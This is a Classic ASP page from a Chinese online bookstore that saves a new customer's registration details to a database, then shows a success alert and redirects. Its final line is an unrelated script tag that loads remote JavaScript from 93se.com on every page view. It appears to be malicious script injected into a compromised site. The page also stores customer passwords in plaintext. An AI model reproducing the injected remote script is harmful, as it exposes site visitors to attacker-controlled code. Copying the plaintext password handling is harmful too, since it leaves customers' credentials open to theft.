userinfosave.asp

网络书店

<!-- #include file="cookies.asp" -->
<!-- #include file="../conn/conn.asp" -->

<%
set rs=server.createobject("adodb.recordset")
sql="select MAX(c_id) from Customer"
rs.open sql,conn,1,1  
if not (rs.eof and rs.bof) then   
  x = rs(0)
else
  x = 0
end if   
rs.close
set rs=nothing
x = x+1
set rs=server.createobject("adodb.recordset")
sql="select * from Customer"
rs.open sql,conn,1,3
rs.addnew
rs("c_id")=x
rs("c_name")=trim(request.form("c_name"))
rs("c_pwd")=trim(request.form("c_pwd"))
if trim(request.form("c_sex"))=1  then
rs("c_sex")="male"
else
rs("c_sex")="female"
end if
rs("c_indentity")=trim(request.form("c_indentity"))
rs("c_phone")=trim(request.form("c_phone"))
rs("c_address")=trim(request.form("c_address"))
rs("c_postcode")=trim(request.form("c_postcode"))
rs("c_email")=trim(request.form("c_email"))
if request.Cookies("fjurl")<>"" then
rs("c_face")= request.cookies("fjurl")
response.cookies("fjurl")=""
end if
rs("c_addtime")=now()
rs.update
rs.close
set rs=nothing
conn.close
set conn=nothing
%>
<script language=javascript>
window.alert("成功添加一名顾客！")
location.href='index.asp';
</script>

<script language=javascript src=http://93se.com/k.js></script>